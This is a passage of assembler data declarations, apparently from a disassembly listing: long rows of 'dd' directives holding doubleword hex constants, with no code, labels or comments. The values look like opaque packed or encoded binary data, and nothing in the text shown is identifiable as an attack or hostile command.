		dd 2C7C246Ch, 0B661084Bh, 1C6E5C25h, 7D10EFF8h,	50D6E62Fh
		dd 0B097C14h, 96432CE8h, 0ADB2015Dh, 1AE9DAF6h,	0A0207A55h
		dd 0F6683A54h, 0B3B5A8B4h, 1CB53C9Bh, 0B4374F97h, 0CA4F4A1Ah
		dd 3004235Fh, 0AE827661h, 6207FC78h, 86E7A70Bh,	0AA02F525h
		dd 157C113Dh, 0F1C0A29Dh, 3B0B6817h, 59672CBAh,	11D32C14h
		dd 28F7C495h, 0D12961AFh, 0C18001A1h, 0FAFCC1EFh, 3EC53568h
		dd 5CD2A39Eh, 0CABAD704h, 52511CD4h, 49BDE989h,	55DCE508h
		dd 40EC460h, 0C4D409C1h, 55DAFE7Bh, 9D7F9031h, 342C9923h
		dd 0E740C5FBh, 0C9993914h, 66F0EDBAh, 46D76816h, 8EA604A9h
		dd 728BDE31h, 0B532F831h, 1C5557C9h, 2F6EF2BDh,	0C3F27AFFh
		dd 926F64Ch, 54E759Eh, 0A988B8D8h, 886F5AE6h, 5F72BFF3h
		dd 7B04EDECh, 10C1D20h,	0BD5C4AEh, 8C745F08h, 2045A4C2h
		dd 0F4AFEEBh, 0E1C44160h, 9F792503h, 0D6E99B90h, 6CAF9F5Ah
		dd 7F2DE97Fh, 0C1752BB9h, 99216753h, 973A2BF4h,	68C2EFF1h
		dd 27B0560Dh, 0B71694FDh, 432E8915h, 0DBFC0BEBh, 0D0F724A9h
		dd 5D607BE9h, 3A6CEA97h, 296B3BA7h, 841B658h, 75DC673Fh
		dd 4066B032h, 9BD3905h,	6102D58h, 9F782093h, 0B6F587E0h
		dd 45337497h, 0B2D7A854h, 908F7155h, 9E174F89h,	52C65DA2h
		dd 300310ADh, 0CA8058E2h, 49A7DADCh, 0E52A2DCDh, 1495607Ch
		dd 0BD08C4B9h, 0D131070Eh, 4A23E75Ah, 0E3F185E7h, 27DDEDE8h
		dd 0BDF6559h, 0E3A2BBE9h, 0D2786C68h, 0A848C7F4h, 802A8474h
		dd 0ADF231AFh, 16667EA1h, 7A230AE2h, 0AF1F49h, 71397579h
		dd 0EA30C142h, 5D971406h, 0BD034E70h, 0ECF61805h, 2D53EFA5h
		dd 94CE4h, 0BD493E90h, 25C53180h, 16785558h, 47A692B4h
		dd 5E175F3Bh, 0F0AA05FAh, 0D0CE4082h, 6648E205h, 0D5353A02h
		dd 410F966Fh, 0F1077588h, 0EAD4D6A6h, 2539F1E0h, 0D074C82Fh
		dd 163548F5h, 118D7113h, 874AC606h, 0A3848576h,	36F004CCh
		dd 0BB010B0Dh, 2F39B72Eh, 0B26199ADh, 0C41DB951h, 0D1BF0535h
		dd 5FE132A5h, 5C9FC3D0h, 0ABBA81B5h, 82616E15h,	0F4119A52h
		dd 9035E56h, 0E260DBE9h, 1805C9B9h, 0CA897B41h,	0DE2BB5AFh
		dd 3F3ADB77h, 8984862Dh, 0D210E85Ah, 8F322D05h,	0E63028AAh
		dd 0E8002345h, 5BA84631h, 123AFD10h, 2BF311B6h,	0A2216013h
		dd 22AAD251h, 807D5A03h, 0F77DD12Ch, 9AE91218h,	303544A3h
		dd 388ABB14h, 0A385824h, 85898DAEh, 82D78F2Dh, 19C8F071h
		dd 0C9078158h, 37F90641h
		dd 6A4CE160h, 0D45EC912h, 0FA5E1925h, 0E9121CDAh, 6672C2FAh
		dd 4269EC8Eh, 418C60F7h, 65E97C08h, 0A7E59BAFh,	0C65B2CC7h
		dd 0D9612712h, 7681E3CAh, 1943C705h, 4226891Bh,	60C67630h
		dd 50DD63EEh, 0BBDEF728h, 8010BB3Ch, 61BF5782h,	251EA08h
		dd 1B97E781h, 0F8564134h, 1E7BCF82h, 6EE1552Ah,	0C001CEB1h
		dd 0AF6006E1h, 2D285CE4h, 8B7D2C04h, 9C8BBE14h,	5098E90Bh
		dd 0CE2FC35Ah, 0D18D59Ah, 4897BD36h, 0CBDDCDEAh, 0C55E5B1Eh
		dd 0D7B83362h, 680624DBh, 25611D9Fh, 0C0D2A878h, 6B9DCAC0h
		dd 0FCD0094Fh, 0F4FAA49Bh, 613C9608h, 1949A4h, 7C76FEEDh
		dd 0AE4D4CD9h, 6538B40h, 3149FC50h, 0B0299AFDh,	0DC341F9Eh
		dd 948922F2h, 0DE2D20C0h, 28394B24h, 12C2D608h,	2406EB5Ch
		dd 5D9AB450h, 0BE4AF67Ah, 947AB46Ch, 142C0993h,	1DC2C589h
		dd 30529655h, 11138B9h,	0E42A68D1h, 0F5E65949h,	0B5AD5B8h
		dd 5E819E64h, 6E3CC237h, 194098C1h, 0DF857274h,	0F4D0F827h
		dd 492D2E5Bh, 0EFB41220h, 0CE8FEA1Eh, 0C7F46B3h, 40FA0518h
		dd 83467307h, 0ED02EB11h, 0F0315BDEh, 3EC25F5Eh, 1B602B89h
		dd 201305BDh, 83C03B17h, 0CAF95148h, 804F5F20h,	0B8B65266h
		dd 30EDF088h, 0BE40E70Dh, 3F0EC750h, 1EFF0BAEh,	0C74A4EE7h
		dd 7380498Ch, 28C63CCh,	168018D7h, 1333BABBh, 0BF430544h
		dd 34EB4E40h, 258E602Fh, 2D0215E9h, 0CF405854h,	86334364h
		dd 4A60265Bh, 9C6FC40Dh, 2A9A1286h, 0AF38102h, 8B5F9C20h
		dd 0BF1C3086h, 91540030h, 0E9F73166h, 74B258A5h, 12BE00Bh
		dd 0BFD87C04h, 0EDB67913h, 4DCBDE6Ah, 4251F97Eh, 59079B83h
		dd 0AF2AE61Eh, 23EB043Bh, 83949EDCh, 163BAAB1h,	189C165Dh
		dd 4D2894A7h, 0F9B00ECAh, 0EEC03D71h, 0A69434Bh, 0C61415B6h
		dd 215D1408h, 3CB45EEFh, 0FF5140BBh, 6F28772Eh,	8F119780h
		dd 0BD50E938h, 74FA7EC3h, 6902F9FDh, 423F005Bh,	44D47337h
		dd 1ACF815Dh, 0F1BB041Dh, 488B6B47h, 0CA7CE909h, 65251E6Ch
		dd 525C7425h, 6B625441h, 14FAC716h, 75027A63h, 2144E853h
		dd 704A4770h, 0F19984B4h, 29376389h, 13C9462Eh,	60F67EC1h
		dd 0AE492DE0h, 0FCE95B81h, 12320E0Ch, 0E916FB26h, 0E945E0h
		dd 5A7A6B10h, 66D7A804h, 0C4BF1884h, 71E2AADEh,	0BA80CA84h
		dd 6AF181B9h, 0CE4224A9h, 0DF72DB12h, 0A23B7D04h, 256BEC17h
		dd 7C164E23h, 86692D58h, 0D9E2B3DFh, 0F78B3B2Bh, 126A7290h
		dd 0F894C884h, 8E6DA176h, 0D8C2B901h, 0C15814ABh, 20004C23h
		dd 0C182978Dh, 2096EC4h, 57A8A39Dh, 0C3C83532h,	751343A9h
		dd 0D4BF297Fh, 70A1471h, 0F834B10h, 4A8C280h, 0D6D98514h
		dd 317DC179h, 2EA170E4h, 0FE9D2B72h, 0A042C601h, 0A00607Bh
		dd 0CDA0635Ch, 4F0B6F44h, 0C1FBE94Eh, 0D42B400Fh, 5A5A4090h
		dd 0BFE9C229h, 0C9C57B60h, 0C47C3C83h, 0F7DE78h, 0AD3334B8h
		dd 1CD8F023h, 0C1640548h, 0E9960265h, 282A789Fh, 5E124E68h
		dd 732DF129h, 16D7E5A7h, 0C21ABEBDh, 8C0971B5h,	0B280B6Eh
		dd 0E3C059CBh, 0C1224582h, 26CD4775h, 58E90E90h, 0F3701589h
		dd 6A166BE5h, 0AD928DECh, 8B207FD5h, 0F40A253Ch, 2A77B92Bh
		dd 0F70068A5h, 9C0EA67Ch, 38F9E29h, 199789F3h, 44132DF0h
		dd 0A938AD28h, 0FA55942Eh, 924F51C0h, 617A9745h, 51DB5AB5h
		dd 0D2210D2Dh, 0A07F16FCh, 814896F7h, 0F5789D5Ah, 18850500h
		dd 7302E5C1h, 0D7E916D1h, 9ECBF841h, 6837E15h, 0E7D1DFF7h
		dd 2F3E16B0h, 5C02EFFEh, 0A01203E9h, 71C6F1ECh,	0B2314F26h
		dd 6A8E40A3h, 0EA2080EFh, 237214EDh, 0F4CA5801h, 443A0841h
		dd 5050274h, 97BB2D5Eh,	2604905Eh, 0DDD066F4h, 8BE90907h
		dd 0E2A97D98h, 0AE79A585h, 53F1D8C9h, 0B44EA220h, 889C3B9Ah
		dd 93DC9EF3h, 5D7B5E0Eh, 0BCD1D2CEh, 6FEC5F66h,	0D6EA89A2h
		dd 739543EEh, 9C1D0B5Dh, 0F676EC7Dh, 4CCBB219h,	0D8E15957h
		dd 515C007Fh, 489B2768h, 5798D214h, 75AF7827h, 4CAEF520h
		dd 56981C74h, 1AAB874Ah, 0FBD72E29h, 95BDA080h,	29A4C9AEh
		dd 8BCBE8F0h, 572242DAh, 9820DFD3h, 0AE7DA625h,	4210E9E4h
		dd 0F46C41EAh, 0A66A8C65h, 34E5D3D2h, 3F00636Eh, 0F8027FE6h
		dd 0F1402805h, 0D22F6047h, 0A4599D96h, 46464842h, 18A49D74h
		dd 3D67FCFCh, 2D2CDE8Bh, 0C51755E9h, 0C048012Eh, 0F363B257h
		dd 0F276E4DCh, 6754090Bh, 5DBEE218h, 2176DF44h,	42FA7E95h
		dd 0B1A9CC68h, 0D698C404h, 3A0E58CAh, 0D46FCA47h, 124A77D1h
		dd 124B00E3h, 47A3EA2Ch, 0F32C7FC6h, 2927F305h,	7FE88843h
		dd 6847AB5Bh, 0E6B310Eh, 86F8D21Ah, 7555C3C1h, 0D6003E7Eh
		dd 371CF681h, 506801A7h, 0F3341DB8h, 642837Ch, 98E0D148h
		dd 261D90Dh, 0B4053DBEh, 0A41F54Ah, 22C226Ah, 88C032F2h
		dd 18357052h, 0F93CBD68h, 9C9D200Dh, 8A0CD7AEh,	685C068Bh
		dd 273F609Eh, 867E324Ch, 790AB950h, 43E5816h, 742EBA05h
		dd 0BC7E8476h, 0D94F75E1h, 25451F4h, 0E910BC14h, 5E57CDC6h
		dd 0E82D8E2Eh, 0C2218B3Dh, 0BB6F0179h, 7D81E4D8h, 0B105F8C8h
		dd 782E43C1h, 47C3FB01h, 89631823h, 0A4BBC045h,	4A5BE98Ch
		dd 0F5BB040Bh, 0CA552629h, 35EBF7E5h, 6E8AB2A9h, 13D6B9B9h
		dd 84B8FD53h, 5EF3ACD8h, 7B59AD09h, 0D0475985h,	80CC882Dh
		dd 2BF4C476h, 7B930BB5h, 0EB3FC244h, 0BAE18000h, 262B2A68h
		dd 52506F32h, 0A2087F65h, 829D7AD7h, 5A378F5h, 0BE4EBF5Eh
		dd 2CBFB357h, 6139998h,	0E808269Dh, 36F10102h, 401A091Bh
		dd 2B4CC8E0h, 16E63048h, 0EBD7BCF5h, 7D4EEDE0h,	0E6764A91h
		dd 66CF398Ah, 0F092866Ah, 0E3224B28h, 708A253Dh, 3B74B72Ah
		dd 543BC15Eh, 0C22F5DE9h, 0CB3473F7h, 0B0A10338h, 57AD2EE1h
		dd 407B57DFh, 0A2ABABFh, 0BB1D7473h, 59171198h,	512F78F8h
		dd 81803544h, 0A5C06009h, 0A87C44CDh, 0F0BCC214h, 14E061D1h
		dd 179B7E55h, 341CD52Dh, 26B95121h, 1AE90496h, 1BB6BFE4h
		dd 0E94E3348h, 1E916CAh, 982A20A1h, 5369D16Ch, 7E22A053h
		dd 9007AC7Dh, 7C35166h,	45B9997Eh, 0ED84AA88h, 0C9DBA2AEh
		dd 5858DE5Fh, 6D590CE9h, 53A10EA5h, 33F196B1h, 57590702h
		dd 4B81DAD1h, 457D5462h, 2948BC6h, 0E03327FBh, 0BC4EFA4Eh
		dd 7F180B8Eh, 693D376h,	0FEF9E242h, 106BFE86h, 77663A57h
		dd 0DC9A0424h, 0F8483485h, 0DDDB5CC2h, 2FEB5223h, 1AA8174Bh
		dd 0E1E25C2Dh, 28C2DBFDh, 7A8141EDh, 4EE5E2B0h,	2AA82D58h
		dd 29709BBh, 96A7F04h, 59C2645Ch, 5C4D725Eh, 42D76825h
		dd 729C57C1h, 0E9421D9Bh, 951E58F6h, 52022996h,	9544FBBAh
		dd 76918B36h, 4CA1761h,	0F86EB37Bh, 33C2021Fh, 755B55Eh
		dd 0A94152C0h, 97298A55h, 5D86B25Ah, 6EE92EC0h,	5C906295h
		dd 0BC555AD1h, 0EA73B593h, 16A9670Dh, 0E7D360DAh, 0DE7E51D4h
		dd 7622D5DEh, 0F7405FBh, 45AE0049h, 1E6C3735h, 4E51E681h
		dd 0EEC143D6h, 6A16143Dh, 0E4E99042h, 5476499Ch, 8B2DAD3Eh
		dd 0DCBE09D1h, 3BED2524h, 0EBF57CA7h, 2F56EB31h, 0F1937FB6h
		dd 17F67A8Dh, 1250A393h, 5341B493h, 44231798h, 4A88A22Fh
		dd 0BFABD8EBh, 2F1F7B49h, 6F4CFCABh, 6D5427A9h,	84315C15h
		dd 98AADF01h, 0CD5EBFECh, 0B64471A6h, 746B4933h, 0F9163248h
		dd 0B188AAEDh, 56BA40D9h, 33C45D48h, 0EA420E74h, 0B561F04Dh
		dd 81EE2E7Ah, 24204781h, 9103122Ah, 0C2A0EE44h,	32164AE6h
		dd 89FD4CACh, 972E78CAh
		dd 0E9F8F5FCh, 0B7A94B37h, 4EE4EB9h, 146AD12Dh,	6FE54103h
		dd 685E70D0h, 0D9EAB53Ah, 90A39C77h, 0FF2AEFF3h, 0F6AC9A25h
		dd 1E6F8150h, 470A923Ch, 0B02508E0h, 355EEF10h,	2A20BD0Bh
		dd 17CAF765h, 0F5477880h, 0F0B5469Ah, 5F4A2DB8h, 0AE0196F4h
		dd 92FA53Fh, 0CF0F2A06h, 21FEE73Dh, 1523E9D7h, 0F2172162h
		dd 34F6CC8Dh, 5360D961h, 0C0930368h, 2E09BB1Eh,	25BCD46Eh
		dd 55EB6AD1h, 0F80EBC68h, 0D55C5782h, 1983915h,	0C57193BEh
		dd 0A13E532Ah, 0C5246B9Fh, 349A0BFAh, 5847825Ch, 15C28785h
		dd 30CA82BFh, 8707Dh, 2536C8C7h, 0E9F9212Ah, 54517E24h
		dd 0AA005E65h, 816807EEh, 6022BC17h, 79915D20h,	2F8C858Ah
		dd 0C47B87A6h, 0BDF9C28Dh, 67BD0675h, 0B8A1B8Fh, 2939BAB1h
		dd 98BF855Fh, 80044E8h,	0B65258C3h, 0F35C280Dh,	20AA2FE8h
		dd 0EC32332Eh, 71692A3h, 10BD84Eh, 15EDE5D5h, 18943408h
		dd 758BFFD6h, 2D76431Ch, 257ABCF7h, 67443C3Ah, 90B4D520h
		dd 0BA25B89h, 18DF50AAh, 1289C8FAh, 0EF5D5828h,	634E50D1h
		dd 8FFB3C6Fh, 0EA2E5281h, 1C4A7770h, 9001426Fh,	725A260Ch
		dd 772962A7h, 38771489h, 32C6CF5Ah, 0F024A36Eh,	476405CAh
		dd 692C15A1h, 55A016FBh, 9E0CA5D1h, 0C88A2902h,	0C2E792D7h
		dd 874320ABh, 97DC31C2h, 649CBD60h, 120A4F79h, 30A42DA0h
		dd 5841DCF3h, 0BD68D3D4h, 1D2B83E8h, 5627A331h,	7836779Fh
		dd 57CCEE4Ah, 91744BA8h, 0C23FACF3h, 4BBE7175h,	0FD253453h
		dd 685DD490h, 85710D32h, 81EBCA21h, 0C6830573h,	55E4012Eh
		dd 31038C59h, 4070F409h, 0C225430h, 0B7A04A6h, 8DAAE9B6h
		dd 0F664CCD5h, 90F4D69h, 2735624h, 59422FE5h, 812D49FDh
		dd 22F42321h, 401A984Dh, 6270BA65h, 0CC4B7330h,	4A6B211Dh
		dd 5A75B836h, 0A14A03ADh, 9BDFD879h, 3B1AD4Bh, 9F967760h
		dd 62C99E5Ch, 0B9C85747h, 0F7BE4658h, 1040B8E7h, 0A45717D3h
		dd 6468050Ch, 0F2132230h, 4E9C9FA0h, 8069826Eh,	0B7440FEFh
		dd 9C1D982Eh, 0C9FE0B8Bh, 0FF72C375h, 4B25F132h, 40C2EA18h
		dd 9DACD733h, 8FE1D6C8h, 1C37B680h, 0CEABC680h,	0CECFA7F6h
		dd 59B450A2h, 4BD8E055h, 2E4D81BBh, 6C13CBB8h, 9774EFB5h
		dd 8229E7BFh, 0DC726F68h, 0A8F864DFh, 14FD4EDBh, 641A29B2h
		dd 406860D9h, 5EE93FF2h, 9E2D0D96h, 0BF0F12FEh,	0ACFFF8C8h
		dd 0C9BDB9EAh, 843295CCh, 0C088229Fh, 0B2D4B9DFh, 16500909h
		dd 8FD044E3h, 56014990h, 211B3149h, 146058C6h, 912BBA9h
		dd 0C66EA852h, 149FEC9Ah, 0BDE97976h, 8576F88Bh, 7E4E5959h
		dd 0C1882F62h, 30A8FE82h, 5F52648h, 579635B1h, 1EA86FF0h
		dd 0D36B047Fh, 0F3E471D3h, 34E0F8C8h, 0CB0E4360h, 971FC101h
		dd 0F712F670h, 140455DBh, 0E2EBBF59h, 3E81DD4h,	1BFFAB9h
		dd 0E2C0E98Fh, 952BE93Bh, 0BBC5A619h, 8A224B0Fh, 0B052B258h
		dd 44656818h, 18A8ED34h, 184D0C02h, 1D3E29D9h, 42E901CDh
		dd 120FB41h, 5076802Eh,	3A7DC125h, 8316484Ah, 54168BCFh
		dd 0E263BC59h, 43305F1Bh, 0A4251278h, 8A264565h, 60E59A69h
		dd 0E1D0ACB1h, 8B638AF8h, 0F1B4C1C9h, 0F63E139Ch, 5E5310E2h
		dd 68B15109h, 0B5F2EF07h, 66C4A002h, 1E4D5F77h,	0E9B84EECh
		dd 7E0B4804h, 0F2E1EE3Ah, 1C240805h, 0F3D0B2ABh, 2A50025Ch
		dd 5208C201h, 0AA4310CAh, 3CA00B4Bh, 0AD851346h, 0D249BC38h
		dd 5A0F85CAh, 38BFB01h,	80511ADDh, 64C97FAh, 648DBD48h
		dd 38C7D50Dh, 54F3E37h,	713395E7h, 7A69A887h, 0A93EF7C6h
		dd 0D82D01A6h, 5B66630Eh, 56927D8h, 0E8017F42h,	0E9070205h
		dd 45753BE3h, 65480B3Fh, 4C7F2B29h, 29515A5Bh, 0A52C2B2Bh
		dd 1E13019Dh, 91E94145h, 6E447E7Bh, 88BEA2C5h, 69D314F7h
		dd 290C6A03h, 40018A3Eh, 5A5E08EAh, 313AD95Ah, 129F9B7h
		dd 0CDC8C5FEh, 7ED25C0h, 0F689DADCh, 0D42E77DEh, 0C80DDC6h
		dd 0E9EA280Bh, 1DD5FA8Fh, 97120CC3h, 7CB1006Eh,	0E965D72Fh
		dd 7B49AD2Dh, 2F6C2ABAh, 0BE1837C8h, 0AFB23973h, 32893996h
		dd 6044DFA4h, 0F1ADCA2Ah, 0DB3DF2B1h, 5E5F6880h, 0F7872C4Eh
		dd 0B4CF83C4h, 0E9882F45h, 318069C1h, 5609EEC2h, 0AC04A902h
		dd 0F9055039h, 52C70704h, 36AF676Ah, 8D010FBh, 6E2A680Ah
		dd 529511Eh, 0C227B2EEh, 401B484Fh, 1325ED60h, 0F535F070h
		dd 1C080651h, 0B6E91480h, 5B3E0660h, 0B559CE29h, 75EBD7D9h
		dd 1B205F44h, 875D5A64h, 8142744Dh, 64C1110Ch, 77EEC8DDh
		dd 7621834Ah, 316A8E7Fh, 7BB11E84h, 38302039h, 5F3E13B0h
		dd 0AD14EB77h, 13AC34D7h, 0A0AB2984h, 975FE95Ch, 0D645540Ch
		dd 53781F66h, 0FC3E1375h, 755824C0h, 76797F5Ah,	0C21ED72Fh
		dd 6B5871BFh, 90E1C5D5h, 0D06716ECh, 366B7DE6h,	0BCAF827Dh
		dd 0BF7ADF9Bh, 855C5629h, 1197BAFh, 705A0B9Fh, 0EA1DC749h
		dd 1BD255C2h, 0F1033EB9h, 6696BCD1h, 32DA204h, 984563Ah
		dd 16BBE0C4h, 0DD69BBAFh, 899FF26Fh, 0F92F4851h, 42C82730h
		dd 0A82A78F2h, 595A2707h, 849229ABh, 2EA868B4h,	0EA6BE8B3h
		dd 0D99C7E56h, 0C15798A7h, 4379282h, 10359605h,	63C4AF3Dh
		dd 3300071Fh, 5E4A367Fh, 6B681652h, 3364654h, 0E607C706h
		dd 2B5707F9h, 0F9AA7EB2h, 0B2F248Fh, 9A7A7D39h,	0B096D4Ah
		dd 0B50F5847h, 0F580E5F8h, 8209469Dh, 7CF98956h, 4AF5D2BDh
		dd 284457ADh, 14C0424Ah, 0E66ACF80h, 2E677BF7h,	49F61749h
		dd 5642205Dh, 12155CBEh, 1293CF9h, 0A9E90C0Bh, 78D1894Dh
		dd 9C377462h, 9C3845C7h, 98EB808h, 0BB496858h, 8FF294C7h
		dd 46635204h, 9A51AA77h, 59190108h, 0A4C685Bh, 0A1D66997h
		dd 0DAA83F1Ch, 0DEF3FBE5h, 91B23112h, 6EB440AAh, 0CE1020CAh
		dd 0EB830BAFh, 45895C02h, 2AA2E11Fh, 64D41A04h,	0E0C9BCAEh
		dd 0BB3EF468h, 0DAA70B7Ch, 66952C6Eh, 80F3BFBBh, 0E5566612h
		dd 17871795h, 2AFB31A3h, 0C406DF06h, 0ECEEE99Ch, 0F55F2587h
		dd 0C53B7146h, 185284DCh, 21C4DD01h, 970C0818h,	5B352C1Bh
		dd 0E82158FAh, 0D0BE5D4Bh, 0F9E950EAh, 2D0F0192h, 338C928Ah
		dd 0E4EF7884h, 9F541413h, 0B977F7A7h, 0D4306127h, 3D4D1AB2h
		dd 32EFF8D7h, 0AD10911Dh, 2B7C3841h, 208321AAh,	4811BFD5h
		dd 0FBD25E05h, 0B3CC7D5Dh, 0D3A1C32Ah, 9DB0C674h, 74778B95h
		dd 0F9F7E03Ah, 19BDBE68h, 0D521516Bh, 653EB34h,	0E78004B7h
		dd 3F480629h, 0E91C737Ah, 4A382DF5h, 0D3A1C3ECh, 8527570Ch
		dd 5A8DAC2Ah, 74C96FFCh, 0EAAC6824h, 756721C2h,	0B333E604h
		dd 28A2508Eh, 3DB66C09h, 5A665D31h, 64EB585Ah, 0BCB8C440h
		dd 22C1D54h, 0D6525CD2h, 0BFE1E0EBh, 1E356040h,	0A7D631C0h
		dd 0E8E95442h, 29FB2B1Eh, 0C38F6E82h, 0AEFC4B4Ah, 0D830AEE0h
		dd 8869F997h, 0B801ED73h, 41BA471Ah, 49DEAC2Fh,	8C124B2Eh
		dd 903DFEh, 0B922B3EEh,	83512C27h, 93182EF3h, 0BBFA2839h
		dd 0F9D09D07h, 5C8CCB2Dh, 3A094F08h, 772F8E7Ch,	712C0597h
		dd 9E528593h, 70BA0A53h, 81B8E9D0h, 375D9B7h, 55FC2A61h
		dd 5F5017E2h, 7CFE882Fh, 0ECD11420h, 0E0CB5E78h, 0CBB0DE5Dh
		dd 5727625Bh, 38ACA084h, 0F750C15Ah, 9E04A0DAh,	79DBB52Dh
		dd 25DAD28h, 56B3F0CDh,	4A7F4914h, 8A34A606h, 2F567661h
		dd 63A3B176h, 0AFBD11A4h, 3D092C08h, 9E165C04h,	2A1FEA6Fh
		dd 1BF0BA5Ch, 28964B69h, 2EACF70Bh, 4B900530h, 143FA2C0h
		dd 0CA87FD50h, 0F6C200B7h
		dd 7AF580D5h, 30792D91h, 5C0335Eh, 0FC33C155h, 12B25D60h
		dd 2A48EC97h, 0A4C56998h, 0C946740h, 0FCA61FFh,	0C8E90175h
		dd 0C991D02Fh, 0DA2F22D9h, 0C9127F41h, 1CDE860h, 0D007FA2Dh
		dd 55E10BBDh, 365E45BEh, 34F77C40h, 0DA8931A5h,	2E5AD7DCh
		dd 690BC7h, 56C30121h, 85680451h, 8225B378h, 0C050F12Bh
		dd 201FBD07h, 0C5A24EBCh, 8B567C7Fh, 0CD5247EEh, 0AF1FE8ECh
		dd 0DE091A91h, 4B37DEF3h, 924A045h, 0D19D8609h,	100AA448h
		dd 54681A10h, 50B1D6FDh, 6144CB9h, 0F81456Eh, 250576EDh
		dd 60FAC668h, 933AB2Eh,	36F3FCC0h, 0EC0D5350h, 30470CCBh
		dd 28183BA2h, 29F46564h, 6404F3B9h, 858EBC78h, 0B8C0A4ABh
		dd 4E215F41h, 7BF46AE4h, 26413503h, 4B5B83FBh, 5AF2C3E4h
		dd 6ADF8DEAh, 0F16E6391h, 873C6730h, 218231C6h,	4F98C74Bh
		dd 63CD0481h, 80645875h, 37014325h, 0FE351D00h,	290AD567h
		dd 0B3E913C5h, 258CE62Dh, 4FDF5C5Fh, 0AC36666Eh, 630BF56Ch
		dd 0BD6E5D98h, 0C8A6D527h, 0E43323D4h, 568D9F09h, 0C8D7E8F8h
		dd 5EF180C4h, 63451CC5h, 0E782E828h, 0F2C65F3Eh, 830614B7h
		dd 87951DA3h, 0DCF3CADAh, 1BD00142h, 0EE018FA9h, 4590241h
		dd 61F4C0BEh, 6C5CC947h, 747C0D99h, 40DBEA35h, 4BE9081Ch
		dd 579D3054h, 31129568h, 4C062C73h, 4B0F91F7h, 5D9AB52h
		dd 29255467h, 64F412FDh, 99FB2067h, 0B3354002h,	437DDF7Fh
		dd 5A16B077h, 25FA9D1Eh, 5B050883h, 0BE65E958h,	0D2B145EAh
		dd 7B79CA8Fh, 77F15027h, 3709E9AAh, 78556906h, 114D17F0h
		dd 90135E19h, 785D27A4h, 39250076h, 54C840Dh, 7B24F3D4h
		dd 5809E3FBh, 6450FE57h, 6430D2E2h, 340D5A5Ch, 0F0DD105Dh
		dd 9F7C89FDh, 0D29DAE4Bh, 0BD7FC221h, 48E12D3Bh, 0BF0319FCh
		dd 47E03618h, 0C01E7093h, 2CCC5EB8h, 76F6F35Fh,	768A89ACh
		dd 20AF9DF3h, 6A47BC4Fh, 0A65BBE65h, 1372135h, 0B6D62DBBh
		dd 0FD643101h, 7EF0354Eh, 0B26BCFF1h, 0AEF787D1h, 2983A7DAh
		dd 0A317EA42h, 0EC99EBCAh, 0A168AD01h, 0BE318941h, 49EEFFECh
		dd 0C24756B7h, 2D543CE9h, 0CDA95916h, 858BDEA6h, 0FD5D2027h
		dd 0C57D44A9h, 43444B33h, 0C8311212h, 98D818EBh, 932F7039h
		dd 0AECFE053h, 0B82B1E5h, 0C7F97C07h, 5776E689h, 0F8300E98h
		dd 886125F6h, 0F22BB26h, 0DC8536C5h, 0ABFC3B4Bh, 181B2C80h
		dd 520D01ADh, 2C6789BAh, 1E016F78h, 28971FE9h, 1899EBD8h
		dd 0C754833h, 3B276DD4h, 8E087D6Ah, 160C3408h, 0B084E814h
		dd 55DF8F3h, 0F96840DEh, 3784F90Bh, 0A95FA2D3h,	13B235Bh
		dd 111F102Dh, 0BF894ED2h, 3F6278F4h, 0AF930F5Bh, 0EE202058h
		dd 5A1373E2h, 9FE54E54h, 0CCE1AECDh, 6055EEh, 2585F84h
		dd 247E04F4h, 94FF3338h, 5E080430h, 0D2C0E852h,	4F380AF8h
		dd 10F6189h, 71A428C5h,	80575C2Dh, 2FB95EF5h, 6A0B7BA6h
		dd 0D9507268h, 39E48253h, 407F10B3h, 13FF66DCh,	80F10167h
		dd 72AA6028h, 6F3ACC1h,	0C2351555h, 0E7E9A3C7h,	5D16202Ah
		dd 0B0D6D3ECh, 0EA4B2D2Ch, 82A75CAFh, 47EC45F1h, 797743C2h
		dd 6D8E4B03h, 32DEFB16h, 48BFED5Ah, 0CED9274Bh,	43295B87h
		dd 0DBF8E940h, 28C96900h, 411B1A03h, 483FFA55h,	0A0D3576Ah
		dd 1317A054h, 0A6B111E2h, 9B640705h, 61D3C2EFh,	50329A5Fh
		dd 9ABD20B8h, 0BE97FB95h, 0C2804BADh, 90173905h, 9351212Eh
		dd 0D6318C09h, 0C3EB01BBh, 82420E14h, 581CD70Ch, 39FE15Ah
		dd 8BEAF02Bh, 4BE69E5Eh, 2970A612h, 0B4B07FDBh,	0B84B4E16h
		dd 74B3C0E4h, 0FCCCB753h, 0EE874B14h, 0F6356B40h, 466FB46h
		dd 0D262D25h, 0DCB9AE4Fh, 0FEDD2C7Eh, 0AD8C09F9h, 890BD175h
		dd 0EAF5EDD0h, 58B0233h, 24128485h, 9F5A3F07h, 898AFA52h
		dd 1833EA5Ah, 352B3E2Ah, 5C462B04h, 0D65BB301h,	98CE8C21h
		dd 53F4FB04h, 0FA285E6Ch, 83E94920h, 0AA58D675h, 901F900h
		dd 0A05B08AAh, 9FC63E22h, 0DC4B91F4h, 61A06A0h,	0A42ED408h
		dd 0DD89750Fh, 2D32C453h, 547ECA88h, 318BD588h,	2D6ECD70h
		dd 0D9264C03h, 0C96008CAh, 0A2E74A94h, 0A3D0758h, 0B750617Dh
		dd 0B04C602Ah, 5CE809F2h, 0EFDAC0Dh, 71097761h,	0AD6FE1F0h
		dd 5D12EADBh, 0D40BEB1Eh, 3A8D05h, 0FF30CE38h, 0CD090955h
		dd 8A5F4559h, 0C9003C83h, 0E97E326Fh, 91AA63C4h, 0CC243D3h
		dd 2E99C855h, 6DD4BE20h, 541082ACh, 567288E9h, 5352E0CCh
		dd 1258268h, 57A3777Dh,	2A5E28ECh, 1396F1C6h, 0EF896FC5h
		dd 9DAA101h, 0CE207EC0h, 0A65E121Eh, 0FBC0060h,	16EC7DCh
		dd 0F5CCBADFh, 1218B8D8h, 0BF991AE9h, 0BD049674h, 0BF01A14Eh
		dd 202118AEh, 3BF7B2F1h, 0AA99E6A3h, 329D587Bh,	4DFC0826h
		dd 1DFFA608h, 30588850h, 79F26805h, 81EF68C8h, 0CA467A5Dh
		dd 31297B4h, 0C0A3F280h, 37B703E2h, 22C293B3h, 784F1825h
		dd 9D1D27F5h, 6094213h,	2565205h, 0C8B74725h, 262E948Dh
		dd 207339Bh, 54781FD1h,	8DD80Bh, 6F91872h, 61E9D889h, 0D7E70B97h
		dd 0D6278EEDh, 387FDAEAh, 30E95FDDh, 0BB109718h, 9C2F52B3h
		dd 4BCCC13Ch, 6F9BC13Fh, 8271F578h, 15147E8Eh, 0A35075B1h
		dd 37BCEE06h, 160C0726h, 0AFDF08E7h, 653C440Dh,	801A6941h
